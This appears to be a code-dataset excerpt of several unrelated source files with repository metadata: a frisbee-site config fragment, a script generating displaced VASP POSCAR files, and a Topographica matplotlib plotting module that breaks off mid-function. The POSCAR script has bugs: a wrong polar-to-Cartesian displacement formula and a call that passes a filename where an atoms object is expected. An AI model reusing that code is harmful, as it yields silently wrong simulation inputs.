'http://www.bangaloreultimate.com/falcons/', ), ( 'Royal Spirits', 'http://placehold.it/200x200&text=Royal Spirits', 'https://www.facebook.com/groups/puneultimatefrisbee/', ), ( 'Navi Mumbai', 'http://placehold.it/200x200&text=Navi Mumbai Ultimate', 'http://mufc.in/about.html', ), ( 'Storm Chasers', "https://fbcdn-profile-a.akamaihd.net/hprofile-ak-frc3/c0.12.180.180/s160x160/249789_1383693768818_3672602_a.jpg", "https://www.facebook.com/stormchasers.mu", ), ], 'SPONSORS': [ ( 'Usha', 'http://www.ushainternational.com/images/logo.png', 'http://www.ushainternational.com/', ), ], }
punchagan/mumbaiultimate.in
conf.py
Python
bsd-3-clause
27,593
[ "VisIt" ]
1913f9dd0f9c3a56de6d513bd94fb6a70977a33c94c8c1b71615638efed90b77
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Make randomly displaced POSCAR files from the non-displaced POSCAR file. Usage: make-displaced-POSCARs.py [options] POSCAR Options: -h, --help Show this help message and exit. --random-type=RTYPE Specify random number type. [default: uniform] -d, --displacement=<dis> Maximum displacemnt in Angstrom in case of uniform random number, and variance in case of normal random number. [default: 0.03] -n, --num-output=<nout> Number of output files in total. [default: 10] -o, --offset=<offset> Offset of the sequential number of output files. [default: 0] -i, --id-of-atom=<idatom> ID of an only atom to be displaced. If this is `-1`, all the atom except one will be displaced. [default: -1] --xmin=XMIN Min of range in x where atoms are to be displaced. [default: 0.0] --xmax=XMAX Max of range in x where atoms are to be displaced. [default: 1.0] --ymin=YMIN Min of range in y where atoms are to be displaced. [default: 0.0] --ymax=YMAX Max of range in y where atoms are to be displaced. [default: 1.0] --zmin=ZMIN Min of range in z where atoms are to be displaced. [default: 0.0] --zmax=ZMAX Max of range in z where atoms are to be displaced. [default: 1.0] """ import copy from docopt import docopt import numpy as np from math import sin,cos,pi,sqrt from random import random,gauss from poscar import POSCAR from ase.io import read,write __author__ = "RYO KOBAYASHI" __version__ = "160727" def get_displacement(r,theta,phi): """ Returns displacements in Cartesian coordinate from the given polar coordinate. """ dx= r*sin(theta) +r*cos(phi) dy= r*sin(theta) +r*sin(phi) dz= r*cos(theta) return np.array([dx,dy,dz]) def myrand(rtype): if rtype == 'uniform': return random() elif rtype == 'gauss': return gauss(0.0,1.0) else: raise RuntimeError('No such rtype: '+rtype) def make_random_poscars(atoms0,rtype='uniform',dis=0.03, nout=10,offset=0, xmin=0.0,xmax=1.0,ymin=0.0,ymax=1.0, zmin=0.0,zmax=1.0): """ Make displaced POSCARs from non-displaced POSCAR file. *atoms0* ASE's atoms object whose atoms to be displaced. *dis* = 0.03 (float) Characteristic displacement. *nout* = 10 (int) Number of displaced POSCAR files to be created. *offset* = 0 (int) Offset of the sequential POSCAR file names. """ # poscar= POSCAR() # poscar.read(fname=fname) # #...original a vectors # ho= poscar.h *poscar.afac # hi= np.linalg.inv(ho) ho = atoms0.get_cell() hi = np.linalg.inv(ho) inc= offset # default constraints cdefault = copy.deepcopy(atoms0.constraints) # constraints object of every atoms being able to move from ase.constraints import FixScaled atmlist= [ i for i in range(len(atoms0))] atoms0.set_constraint(FixScaled(ho,atmlist,[0,0,0])) for i in range(nout): atoms = copy.deepcopy(atoms0) pos = atoms.get_positions() spos = atoms.get_scaled_positions() for ia in range(1,len(pos)): sp = spos[ia] if sp[0] < xmin or sp[0] > xmax \ or sp[1] < ymin or sp[1] > ymax \ or sp[2] < zmin or sp[2] > zmax: continue r= abs(dis* myrand(rtype)) theta= pi*random() phi= 2.0*pi*random() dr= get_displacement(r,theta,phi) #drh= np.dot(hi,dr) pos[ia] = pos[ia] +dr inc += 1 atoms.set_positions(pos) atoms.wrap() # reset constraint atoms.set_constraint(cdefault) write(fname+'-{0:05d}'.format(inc), images=atoms,format="vasp",vasp5=True, direct=True,sort=False) def make_1disp_poscars(atoms0,rtype='uniform',dis=0.03, offset=0,idatom=0, xmin=0.0,xmax=1.0,ymin=0.0,ymax=1.0, zmin=0.0,zmax=1.0): """ Make displaced POSCARs, in which only one atom is displaced, from non-displaced POSCAR file. *atoms0* ASE's atoms object whose atom to be displaced. *dis* = 0.03 (float) Maximum displacement. *offset* = 0 (int) Offset of the sequential POSCAR file names. *idatom* = 0 (int) ID of an atom to be displaced. """ nd= 3 # poscar= POSCAR() # poscar.read(fname=fname) # #...original a vectors # ho= poscar.h *poscar.afac # hi= np.linalg.inv(ho) ho = atoms0.get_cell() hi = np.linalg.inv(ho) inc= offset # default constraints cdefault = copy.deepcopy(atoms0.constraints) # constraints object of every atoms being able to move from ase.constraints import FixScaled atmlist= [ i for i in range(len(atoms0))] atoms0.set_constraint(FixScaled(ho,atmlist,[0,0,0])) dd= np.zeros(3,dtype=float) d= dis/nd for ixyz in range(3): dd[:]= 0.0 for i in range(-nd,nd+1): atoms= copy.deepcopy(atoms0) if i == 0: continue dd[ixyz]= i*d #ddh= np.dot(hi,dd) pos = atoms.get_positions() #poscar.pos[idatom]= poscar.pos[idatom] +ddh pos[idatom] = pos[idatom] + dd inc += 1 atoms.set_positions(pos) atoms.wrap() # reset constraint atoms.set_constraint(cdefault) #poscar.write(fname=fname+'-{0:03d}'.format(inc)) write(fname+'-{0:05d}'.format(inc), images=atoms,format="vasp",vasp5=True, direct=True,sort=False) ############################################################ main if __name__ == "__main__": args= docopt(__doc__) rtype= args['--random-type'] dis= float(args['--displacement']) nout= int(args['--num-output']) offset= int(args['--offset']) idatom= int(args['--id-of-atom']) fname= args['POSCAR'] xmin = float(args['--xmin']) xmax = float(args['--xmax']) ymin = float(args['--ymin']) ymax = float(args['--ymax']) zmin = float(args['--zmin']) zmax = float(args['--zmax']) try: atoms = read(fname,format="vasp") except: raise IOError('Cannot read '+fname+'.') if idatom < 0: make_random_poscars(atoms,rtype,dis,nout,offset, xmin,xmax,ymin,ymax,zmin,zmax) else: make_1disp_poscars(fname,rtype,dis,offset,idatom, xmin,xmax,ymin,ymax,zmin,zmax)
ryokbys/nap
nappy/vasp/make_displaced_POSCARs.py
Python
mit
6,814
[ "ASE", "VASP" ]
828820a8129f879127068de53be514ce31d93cf870c24b22acc724d2cc07e8f7
""" Line-based and matrix-based plotting commands using MatPlotLib. Before importing this file, you will probably want to do something like: from matplotlib import rcParams rcParams['backend']='TkAgg' to select a backend, or else select an appropriate one in your matplotlib.rc file (if any). There are many backends available for different GUI or non-GUI uses. $Id$ """ __version__='$Revision$' import param try: import matplotlib.ticker import pylab except ImportError: param.Parameterized(name=__name__).warning("Could not import matplotlib; module will not be useable.") from basic import ImportErrorRaisingFakeModule pylab = ImportErrorRaisingFakeModule("matplotlib") import numpy from math import pi # JABALERT: Import all of these from numpy instead? from numpy.oldnumeric import sqrt, array, transpose, argmin, cos, sin, log10, Float from numpy import outer,arange,ones,zeros from numpy.fft.fftpack import fft2 from numpy.fft.helper import fftshift from numpy import abs import topo from topo.base.sheetview import SheetView from topo.base.arrayutil import centroid, wrap from topo.base.sheet import Sheet from topo.misc.util import frange import topo.analysis.vision from topo.plotting.plot import make_template_plot import param from param import ParameterizedFunction,normalize_path from param.parameterized import ParamOverrides from topo.pattern.basic import SineGrating, OrientationContrast from topo.plotting.plotgroup import create_plotgroup from topo.base.cf import CFSheet from topo.analysis.featureresponses import Feature, PatternPresenter from topo.analysis.featureresponses import PositionMeasurementCommand, FeatureCurveCommand, UnitCurveCommand from basic import Command class PylabPlotCommand(Command): """Parameterized command for plotting using Matplotlib/Pylab.""" file_dpi = param.Number( default=100.0,bounds=(0,None),softbounds=(0,1000),doc=""" Default DPI when rendering to a bitmap. The nominal size * the dpi gives the final image size in pixels. E.g.: 4"x4" image * 80 dpi ==> 320x320 pixel image.""") file_format = param.String(default="png",doc=""" Which image format to use when saving images. The output can be png, ps, pdf, svg, or any other format supported by Matplotlib.""") # JABALERT: Should replace this with a filename_format and # associated parameters, as in PlotGroupSaver. # Also should probably allow interactive display to be controlled # separately from the filename, to make things work more similarly # with and without a GUI. filename = param.String(default=None,doc=""" Optional base of the filename to use when saving images; if None the plot will be displayed interactively. The actual name is constructed from the filename base plus the suffix plus the current simulator time plus the file_format.""") filename_suffix = param.String(default="",doc=""" Optional suffix to be used for disambiguation of the filename.""") title = param.String(default=None,doc=""" Optional title to be used when displaying the plot interactively.""") __abstract = True def _set_windowtitle(self,title): """ Helper function to set the title (if not None) of this PyLab plot window. """ # At the moment, PyLab does not offer a window-manager-independent # means for controlling the window title, so what we do is to try # what should work with Tkinter, and then suppress all errors. That # way we should be ok when rendering to a file-based backend, but # will get nice titles in Tk windows. If other toolkits are in use, # the title can be set here using a similar try/except mechanism, or # else there can be a switch based on the backend type. if title is not None: try: manager = pylab.get_current_fig_manager() manager.window.title(title) except: pass def _generate_figure(self,p): """ Helper function to display a figure on screen or save to a file. p should be a ParamOverrides instance containing the current set of parameters. """ pylab.show._needmain=False if p.filename is not None: # JABALERT: need to reformat this as for other plots fullname=p.filename+p.filename_suffix+str(topo.sim.time())+"."+p.file_format pylab.savefig(normalize_path(fullname), dpi=p.file_dpi) else: self._set_windowtitle(p.title) pylab.show() class vectorplot(PylabPlotCommand): """ Simple line plotting for any vector or list of numbers. Intended for interactive debugging or analyzing from the command prompt. See MatPlotLib's pylab functions to create more elaborate or customized plots; this is just a simple example. An optional string can be supplied as a title for the figure, if desired. At present, this is only used for the window, not the actual body of the figure (and will thus not appear when the figure is saved). The style argument allows different line/linespoints style for the plot: 'r-' for red solid line, 'bx' for blue x-marks, etc. See http://matplotlib.sourceforge.net/matplotlib.pylab.html#-plot for more possibilities. The label argument can be used to identify the line in a figure legend. Ordinarily, the x value for each point on the line is the index of that point in the vec array, but a explicit list of xvalues can be supplied; it should be the same length as vec. Execution of multiple vectorplot() commands with different styles will result in all those styles overlaid on a single plot window. """ # JABALERT: All but the first two arguments should probably be Parameters def __call__(self,vec,xvalues=None,style='-',label=None,**params): p=ParamOverrides(self,params) if xvalues is not None: pylab.plot(xvalues, vec, style, label=label) else: pylab.plot(vec, style, label=label) pylab.grid(True) self._generate_figure(p) class matrixplot(PylabPlotCommand): """ Simple plotting for any matrix as a bitmap with axes. Like MatLab's imagesc, scales the values to fit in the range 0 to 1.0. Intended for interactive debugging or analyzing from the command prompt. See MatPlotLib's pylab functions to create more elaborate or customized plots; this is just a simple example. """ plot_type = param.Callable(default=pylab.gray,doc=""" Matplotlib command to generate the plot, e.g. pylab.gray or pylab.hsv.""") # JABALERT: All but the first two should probably be Parameters def __call__(self,mat,aspect=None,colorbar=True,**params): p=ParamOverrides(self,params) p.plot_type() pylab.figure(figsize=(5,5)) pylab.imshow(mat,interpolation='nearest',aspect=aspect) if colorbar and (mat.min()!= mat.max()): pylab.colorbar() self._generate_figure(p) class matrixplot3d(PylabPlotCommand): """ Simple plotting for any matrix as a 3D wireframe with axes. Uses Matplotlib's beta-quality features for 3D plotting. These usually work fine for wireframe plots, although they don't always format the axis labels properly, and do not support removal of hidden lines. Note that often the plot can be rotated within the window to make such problems go away, and then the best result can be saved if needed. Other than the default "wireframe", the type can be "contour" to get a contour plot, or "surface" to get a solid surface plot, but surface plots currently fail in many cases, e.g. for small matrices. If you have trouble, you can try matrixplot3d_gnuplot instead. """ # JABALERT: All but the first two arguments should probably be Parameters def __call__(self,mat,type="wireframe",**params): p=ParamOverrides(self,params) from mpl_toolkits.mplot3d import axes3d fig = pylab.figure() ax = axes3d.Axes3D(fig) # Construct matrices for r and c values rn,cn = mat.shape c = outer(ones(rn),arange(cn*1.0)) r = outer(arange(rn*1.0),ones(cn)) if type=="wireframe": ax.plot_wireframe(r,c,mat) elif type=="surface": # Sometimes fails for no obvious reason ax.plot_surface(r,c,mat) elif type=="contour": # Works but not usually very useful ax.contour3D(r,c,mat) else: raise ValueError("Unknown plot type "+str(type)) ax.set_xlabel('R') ax.set_ylabel('C') ax.set_zlabel('Value') self._generate_figure(p) def matrixplot3d_gnuplot(mat,title=None,outputfilename="tmp.ps"): """ Simple plotting for any matrix as a 3D surface with axes. Currently requires the gnuplot-py package to be installed, plus the external gnuplot program; likely to be removed once Matplotlib supports 3D plots better. Unlikely to work on non-UNIX systems. Should return when it completes, but for some reason the Topographica prompt is not available until this command finishes. """ import Gnuplot from os import system psviewer="gv" # Should be a parameter, or handled better somehow g = Gnuplot.Gnuplot(debug=0) #debug=1: output commands to stderr r,c = mat.shape x = arange(r*1.0) y = arange(c*1.0) # The .tolist() command is necessary to avoid bug in gnuplot-py, # which will otherwise convert a 2D float array into integers (!) m = numpy.asarray(mat,dtype="float32").tolist() #g("set parametric") g("set data style lines") g("set hidden3d") g("set xlabel 'R'") g("set ylabel 'C'") g("set zlabel 'Value'") if title: g.title(title) if outputfilename: g("set terminal postscript eps color solid 'Times-Roman' 14") g("set output '"+outputfilename+"'") g.splot(Gnuplot.GridData(m,x,y, binary=1)) #g.hardcopy(outputfilename, enhanced=1, color=1) system(psviewer+" "+outputfilename+" &") else: g.splot(Gnuplot.GridData(m,x,y, binary=1)) raw_input('Please press return to continue...\n') class histogramplot(PylabPlotCommand): """ Compute and plot the histogram of the supplied data. See help(pylab.hist) for help on the histogram function itself. If given, colors is an iterable collection of matplotlib.colors (see help (matplotlib.colors) ) specifying the bar colors. Example use: histogramplot([1,1,1,2,2,3,4,5],title='hist',colors='rgb',bins=3,normed=1) """ # JABALERT: All but the first two arguments should probably be Parameters def __call__(self,data,colors=None,**params): p=ParamOverrides(self,params,allow_extra_keywords=True) pylab.figure(figsize=(4,2)) n,bins,bars = pylab.hist(data,**(p.extra_keywords())) # if len(bars)!=len(colors), any extra bars won't have their # colors changed, or any extra colors will be ignored. if colors: [bar.set_fc(color) for bar,color in zip(bars,colors)] self._generate_figure(p) class gradientplot(matrixplot): """ Compute and show the gradient plot of the supplied data. Translated from Octave code originally written by Yoonsuck Choe. If the data is specified to be cyclic, negative differences will be wrapped into the range specified (1.0 by default). """ # JABALERT: All but the first two arguments should probably be Parameters def __call__(self,data,cyclic=True,cyclic_range=1.0,**params): p=ParamOverrides(self,params) r,c = data.shape dx = numpy.diff(data,1,axis=1)[0:r-1,0:c-1] dy = numpy.diff(data,1,axis=0)[0:r-1,0:c-1] if cyclic: # Wrap into the specified range # Convert negative differences to an equivalent positive value dx = wrap(0,cyclic_range,dx) dy = wrap(0,cyclic_range,dy) # # Make it increase as gradient reaches the halfway point, # and decrease from there dx = 0.5*cyclic_range-abs(dx-0.5*cyclic_range) dy = 0.5*cyclic_range-abs(dy-0.5*cyclic_range) super(gradientplot,self).__call__(sqrt(dx*dx+dy*dy),**p) class fftplot(matrixplot): """ Compute and show the 2D Fast Fourier Transform (FFT) of the supplied data. Example:: fftplot(topo.sim["V1"].sheet_views["OrientationPreference"].view()[0],filename="out") """ def __call__(self,data,**params): p=ParamOverrides(self,params) fft_plot=1-abs(fftshift(fft2(data-0.5, s=None, axes=(-2,-1)))) super(fftplot,self).__call__(fft_plot,**p) class activityplot(PylabPlotCommand): """ Plots the activity in a sheet. Gets plot's extent from sheet.bounds.aarect(). Adds a title and allows the selection of a colormap. If activity is not given, the sheet's current activity is used. """ # JABALERT: All but the first two arguments should probably be Parameters # Not sure what this command is for or if anyone is using it. def __call__(self,sheet,activity=None,cmap=None,**params): p=ParamOverrides(self,params) l,b,r,t = sheet.bounds.aarect().lbrt() if activity is None: activity = sheet.activity if cmap is None: cmap=pylab.cm.Greys pylab.imshow(activity, extent=(l,r,b,t),cmap=cmap) self._generate_figure(p) class topographic_grid(PylabPlotCommand): """ By default, plot the XPreference and YPreference preferences for all Sheets for which they are defined, using MatPlotLib. If sheet_views other than XPreference and YPreference are desired, the names of these can be passed in as arguments. """ xsheet_view_name = param.String(default='XPreference',doc=""" Name of the SheetView holding the X position locations.""") ysheet_view_name = param.String(default='YPreference',doc=""" Name of the SheetView holding the Y position locations.""") axis = param.Parameter(default=[-0.5,0.5,-0.5,0.5],doc=""" Four-element list of the plot bounds, i.e. [xmin, xmax, ymin, ymax].""") skip = param.Integer(default=1,bounds=[1,None],softbounds=[1,10],doc=""" Plot every skipth line in each direction. E.g. skip=4 means to keep only every fourth horizontal line and every fourth vertical line, except that the first and last are always included. The default is to include all data points.""") def __call__(self,**params): p=ParamOverrides(self,params) for sheet in topo.sim.objects(Sheet).values(): if ((p.xsheet_view_name in sheet.sheet_views) and (p.ysheet_view_name in sheet.sheet_views)): x = sheet.sheet_views[p.xsheet_view_name].view()[0] y = sheet.sheet_views[p.ysheet_view_name].view()[0] pylab.figure(figsize=(5,5)) # This one-liner works in Octave, but in matplotlib it # results in lines that are all connected across rows and columns, # so here we plot each line separately: # pylab.plot(x,y,"k-",transpose(x),transpose(y),"k-") # Here, the "k-" means plot in black using solid lines; # see matplotlib for more info. isint=pylab.isinteractive() # Temporarily make non-interactive for plotting pylab.ioff() for r,c in zip(y[::p.skip],x[::p.skip]): pylab.plot(c,r,"k-") for r,c in zip(transpose(y)[::p.skip],transpose(x)[::p.skip]): pylab.plot(c,r,"k-") # Force last line avoid leaving cells open if p.skip != 1: pylab.plot(x[-1],y[-1],"k-") pylab.plot(transpose(x)[-1],transpose(y)[-1],"k-") pylab.xlabel('x') pylab.ylabel('y') # Currently sets the input range arbitrarily; should presumably figure out # what the actual possible range is for this simulation (which would presumably # be the maximum size of any GeneratorSheet?). pylab.axis(p.axis) p.title='Topographic mapping to '+sheet.name+' at time '+topo.sim.timestr() if isint: pylab.ion() p.filename_suffix="_"+sheet.name self._generate_figure(p) class overlaid_plots(PylabPlotCommand): """ Use matplotlib to make a plot combining a bitmap and line-based overlays. """ plot_template = param.List(default=[{'Hue':'OrientationPreference'}],doc=""" Template for the underlying bitmap plot.""") overlay = param.List(default=[('contours','OcularPreference',0.5,'black'), ('arrows','DirectionPreference','DirectionSelectivity','white')],doc=""" List of overlaid plots, where each list item may be a 4-tuple specifying either a contour line or a field of arrows:: ('contours',map-name,contour-value,line-color) ('arrows',arrow-location-map-name,arrow-size-map-name,arrow-color) Any number or combination of contours and arrows may be supplied.""") normalize = param.Boolean(default='Individually',doc=""" Type of normalization, if any, to use. Options include 'None', 'Individually', and 'AllTogether'. See topo.plotting.plotgroup.TemplatePlotGroup.normalize for more details.""") def __call__(self,**params): p=ParamOverrides(self,params) for template in p.plot_template: for sheet in topo.sim.objects(Sheet).values(): name=template.keys().pop(0) plot=make_template_plot(template,sheet.sheet_views,sheet.xdensity,sheet.bounds,p.normalize,name=template[name]) if plot: bitmap=plot.bitmap pylab.figure(figsize=(5,5)) isint=pylab.isinteractive() # Temporarily make non-interactive for plotting pylab.ioff() # Turn interactive mode off pylab.imshow(bitmap.image,origin='lower',interpolation='nearest') pylab.axis('off') for (t,pref,sel,c) in p.overlay: v = pylab.flipud(sheet.sheet_views[pref].view()[0]) if (t=='contours'): pylab.contour(v,[sel,sel],colors=c,linewidths=2) if (t=='arrows'): s = pylab.flipud(sheet.sheet_views[sel].view()[0]) scale=int(pylab.ceil(log10(len(v)))) X=pylab.array([x for x in xrange(len(v)/scale)]) v_sc=pylab.zeros((len(v)/scale,len(v)/scale)) s_sc=pylab.zeros((len(v)/scale,len(v)/scale)) for i in X: for j in X: v_sc[i][j]=v[scale*i][scale*j] s_sc[i][j]=s[scale*i][scale*j] pylab.quiver(scale*X,scale*X,-cos(2*pi*v_sc)*s_sc,-sin(2*pi*v_sc)*s_sc,color=c,edgecolors=c,minshaft=3,linewidths=1) p.title='%s overlaid with %s at time %s' %(plot.name,pref,topo.sim.timestr()) if isint: pylab.ion() p.filename_suffix="_"+sheet.name self._generate_figure(p) class tuning_curve(PylabPlotCommand): """ Plot a tuning curve for a feature, such as orientation, contrast, or size. The curve datapoints are collected from the curve_dict for the units at the specified coordinates in the specified sheet (where the units and sheet may be set by a GUI, using topo.analysis.featureresponses.UnitCurveCommand.sheet and topo.analysis.featureresponses.UnitCurveCommand.coords, or by hand). """ coords = param.List(default=[(0,0)],doc=""" List of coordinates of units to measure.""") sheet = param.ObjectSelector( default=None,doc=""" Name of the sheet to use in measurements.""") x_axis = param.String(default="",doc=""" Feature to plot on the x axis of the tuning curve""") # Can we list some alternatives here, if there are any # useful ones? plot_type = param.Callable(default=pylab.plot,doc=""" Matplotlib command to generate the plot.""") unit = param.String(default="",doc=""" String to use in labels to specify the units in which curves are plotted.""") __abstract = True def _format_x_tick_label(self,x): return "%3.1f" % x def _rotate(self, seq, n=1): n = n % len(seq) # n=hop interval return seq[n:] + seq[:n] def _curve_values(self, i_value, j_value, curve): """Return the x, y, and x ticks values for the specified curve from the curve_dict""" x_values=sorted(curve.keys()) y_values=[curve[key].view()[0][i_value,j_value] for key in x_values] return x_values,y_values,x_values def _reduce_ticks(self,ticks): x = []; y= []; num_ticks = 5; y.append(ticks[0]) x.append(0) for i in xrange(0,num_ticks): y.append(y[-1]+numpy.pi/(num_ticks+1)); x.append(x[-1]+numpy.pi/(num_ticks+1)); y.append(y[-1]+numpy.pi/(num_ticks+1)); x.append(3.14) return (x,y) def __call__(self,**params): p=ParamOverrides(self,params) sheet = p.sheet for coordinate in p.coords: i_value,j_value=sheet.sheet2matrixidx(coordinate[0],coordinate[1]) f = pylab.figure(figsize=(7,7)) isint=pylab.isinteractive() pylab.ioff() pylab.ylabel('Response',fontsize='large') pylab.xlabel('%s (%s)' % (p.x_axis.capitalize(),p.unit),fontsize='large') pylab.title('Sheet %s, coordinate(x,y)=(%0.3f,%0.3f) at time %s' % (sheet.name,coordinate[0],coordinate[1],topo.sim.timestr())) p.title='%s: %s Tuning Curve' % (topo.sim.name,p.x_axis.capitalize()) self.first_curve=True for curve_label in sorted(sheet.curve_dict[p.x_axis].keys()): x_values,y_values,ticks=self._curve_values(i_value,j_value,sheet.curve_dict[p.x_axis][curve_label]) x_tick_values,ticks = self._reduce_ticks(ticks) labels = [self._format_x_tick_label(x) for x in ticks] pylab.xticks(x_tick_values, labels,fontsize='large') pylab.yticks(fontsize='large') p.plot_type(x_values, y_values, label=curve_label,lw=3.0) self.first_curve=False if isint: pylab.ion() pylab.legend(loc=2) self._generate_figure(p) class cyclic_tuning_curve(tuning_curve): """ Same as tuning_curve, but rotates the curve so that minimum y values are at the minimum x value to make the plots easier to interpret. Such rotation is valid only for periodic quantities like orientation or direction, and only if the correct period is set. At present, the y_values and labels are rotated by an amount determined by the minmum y_value for the first curve plotted (usually the lowest contrast curve). """ cyclic_range = param.Number(default=pi,bounds=(0,None),softbounds=(0,10),doc=""" Range of the cyclic quantity (e.g. pi for the orientation of a symmetric stimulus, or 2*pi for motion direction or the orientation of a non-symmetric stimulus).""") unit = param.String(default="degrees",doc=""" String to use in labels to specify the units in which curves are plotted.""") # This implementation should work for quantities periodic with # some multiple of pi that we want to express in degrees, but it # will need to be reimplemented in a subclass to work with other # cyclic quantities. def _format_x_tick_label(self,x): return str(int(180*x/pi)) def _curve_values(self, i_value, j_value, curve): """ Return the x, y, and x ticks values for the specified curve from the curve_dict. With the current implementation, there may be cases (i.e., when the lowest contrast curve gives a lot of zero y_values) in which the maximum is not in the center. This may eventually be changed so that the preferred orientation is in the center. """ if self.first_curve==True: x_values= sorted(curve.keys()) y_values=[curve[key].view()[0][i_value,j_value] for key in x_values] min_arg=argmin(y_values) x_min=x_values[min_arg] y_min=y_values[min_arg] y_values=self._rotate(y_values, n=min_arg) self.ticks=self._rotate(x_values, n=min_arg) self.ticks+=[x_min] x_max=min(x_values)+self.cyclic_range x_values.append(x_max) y_values.append(y_min) self.x_values=x_values else: y_values=[curve[key].view()[0][i_value,j_value] for key in self.ticks] return self.x_values,y_values,self.ticks def plot_cfproj_mapping(dest,proj='Afferent',style='b-'): """ Given a CF sheet receiving a CFProjection, plot the mapping of the dests CF centers on the src sheet. """ if isinstance(dest,str): from topo import sim dest = sim[dest] plot_coord_mapping(dest.projections()[proj].coord_mapper, dest,style=style) # JABALERT: not sure whether this is currently used def plot_coord_mapping(mapper,sheet,style='b-'): """ Plot a coordinate mapping for a sheet. Given a CoordinateMapperFn (as for a CFProjection) and a sheet of the projection, plot a grid showing where the sheet's units are mapped. """ from pylab import plot,hold,ishold xs = sheet.sheet_rows() ys = sheet.sheet_cols() hold_on = ishold() if not hold_on: plot() hold(True) for y in ys: pts = [mapper(x,y) for x in xs] plot([u for u,v in pts], [v for u,v in pts], style) for x in xs: pts = [mapper(x,y) for y in ys] plot([u for u,v in pts], [v for u,v in pts], style) hold(hold_on) # JABALERT: Untested as of Mon Nov 10 12:59:54 GMT 2008 class plot_tracked_attributes(PylabPlotCommand): """ Plots parameter values associated with an AttributeTrackingTF. Example call: VT=AttributeTrackingTF(function=HE, debug_params=['a', 'b',], units=[(0,0),(1,1)], step=1) plot_tracked_attributes(VT,0,10000,attrib_names=['a'],units=[(0,0)], filename='V1') """ # JABALERT: These parameters need to be documented. raw = param.Boolean(default=False) attrib_names = param.List(default=[]) ylabel = param.String(default="") # Should be renamed to coords to match other commands units = param.List(default=[]) ybounds = param.Parameter(default=(None,None)) # JABALERT: All but the first two arguments should probably be Parameters def __call__(self,output_fn,init_time=0,final_time=None,**params): p=ParamOverrides(self,params) if final_time is None: final_time=topo.sim.time() attrs = p.attrib_names if len(p.attrib_names)>0 else output_fn.attrib_names for a in attrs: pylab.figure(figsize=(6,4)) isint=pylab.isinteractive() pylab.ioff() pylab.grid(True) ylabel=p.ylabel pylab.ylabel(a+" "+ylabel) pylab.xlabel('Iteration Number') coords = p.units if len(p.units)>0 else output_fn.units for coord in coords: y_data=[y for (x,y) in output_fn.values[a][coord]] x_data=[x for (x,y) in output_fn.values[a][coord]] if p.raw==True: plot_data=zip(x_data,y_data) pylab.save(normalize_path(p.filename+a+'(%.2f, %.2f)' %(coord[0], coord[1])),plot_data,fmt='%.6f', delimiter=',') pylab.plot(x_data,y_data, label='Unit (%.2f, %.2f)' %(coord[0], coord[1])) (ymin,ymax)=p.ybounds pylab.axis(xmin=init_time,xmax=final_time,ymin=ymin,ymax=ymax) if isint: pylab.ion() pylab.legend(loc=0) p.title=topo.sim.name+': '+a p.filename_suffix=a self._generate_figure(p) # JABALERT: Should be updated to plot for a specified list of sheets, # and then the combination of all of them, so that it will work for # any network. Will need to remove the simple_sheet_name and # complex_sheet_name parameters once that works. class plot_modulation_ratio(PylabPlotCommand): """ This function computes the modulation ratios of neurons in the specified sheets and plots their histograms. See analysis.vision.complexity for more info. """ # JABALERT: All but the first argument should probably be Parameters def __call__(self,fullmatrix,simple_sheet_name=None,complex_sheet_name=None,bins=frange(0,2.0,0.1,inclusive=True),**params): p=ParamOverrides(self,params) from topo.analysis.vision import complexity if (topo.sim.objects().has_key(simple_sheet_name) and topo.sim.objects().has_key(complex_sheet_name)): v1s = complexity(fullmatrix[topo.sim[simple_sheet_name]]).flatten() v1c = complexity(fullmatrix[topo.sim[complex_sheet_name]]).flatten() #double the number of complex cells to reflect large width of layer 2/3 v1c = numpy.concatenate((array(v1c),array(v1c)),axis=1) pylab.figure() n = pylab.subplot(311) pylab.hist(v1s,bins) pylab.axis([0,2.0,0,4100]) n.yaxis.set_major_locator(matplotlib.ticker.MaxNLocator(3)) n = pylab.subplot(312) pylab.hist(v1c,bins) pylab.axis([0,2.0,0,4100]) n.yaxis.set_major_locator(matplotlib.ticker.MaxNLocator(3)) n = pylab.subplot(313) pylab.hist(numpy.concatenate((array(v1s),array(v1c)),axis=1),bins) pylab.axis([0,2.0,0,4100]) n.yaxis.set_major_locator(matplotlib.ticker.MaxNLocator(3)) self._generate_figure(p) class measure_position_pref(PositionMeasurementCommand): """Measure a position preference map by collating the response to patterns.""" scale = param.Number(default=0.3) def _feature_list(self,p): width =1.0*p.x_range[1]-p.x_range[0] height=1.0*p.y_range[1]-p.y_range[0] return [Feature(name="x",range=p.x_range,step=width/p.divisions), Feature(name="y",range=p.y_range,step=height/p.divisions)] pg= create_plotgroup(name='Position Preference',category="Preference Maps", doc='Measure preference for the X and Y position of a Gaussian.', pre_plot_hooks=[measure_position_pref.instance()], plot_hooks=[topographic_grid.instance()], normalize='Individually') pg.add_plot('X Preference',[('Strength','XPreference')]) pg.add_plot('Y Preference',[('Strength','YPreference')]) pg.add_plot('Position Preference',[('Red','XPreference'), ('Green','YPreference')]) class measure_cog(ParameterizedFunction): """ Calculate center of gravity (CoG) for each CF of each unit in each CFSheet. Unlike measure_position_pref and other measure commands, this one does not work by collating the responses to a set of input patterns. Instead, the CoG is calculated directly from each set of incoming weights. The CoG value thus is an indirect estimate of what patterns the neuron will prefer, but is not limited by the finite number of test patterns as the other measure commands are. Measures only one projection for each sheet, as specified by the proj_name parameter. The default proj_name of '' selects the first non-self connection, which is usually useful to examine for simple feedforward networks, but will not necessarily be useful in other cases. """ proj_name = param.String(default='',doc=""" Name of the projection to measure; the empty string means 'the first non-self connection available'.""") def __call__(self,**params): p=ParamOverrides(self,params) measured_sheets = [s for s in topo.sim.objects(CFSheet).values() if hasattr(s,'measure_maps') and s.measure_maps] # Could easily be extended to measure CoG of all projections # and e.g. register them using different names (e.g. "Afferent # XCoG"), but then it's not clear how the PlotGroup would be # able to find them automatically (as it currently supports # only a fixed-named plot). requested_proj=p.proj_name for sheet in measured_sheets: for proj in sheet.in_connections: if (proj.name == requested_proj) or \ (requested_proj == '' and (proj.src != sheet)): self._update_proj_cog(proj) if requested_proj=='': print "measure_cog: Measured %s projection %s from %s" % \ (proj.dest.name,proj.name,proj.src.name) break def _update_proj_cog(self,proj): """Measure the CoG of the specified projection and register corresponding SheetViews.""" sheet=proj.dest rows,cols=sheet.activity.shape xpref=zeros((rows,cols),Float) ypref=zeros((rows,cols),Float) for r in xrange(rows): for c in xrange(cols): cf=proj.cfs[r,c] r1,r2,c1,c2 = cf.input_sheet_slice row_centroid,col_centroid = centroid(cf.weights) xcentroid, ycentroid = proj.src.matrix2sheet( r1+row_centroid+0.5, 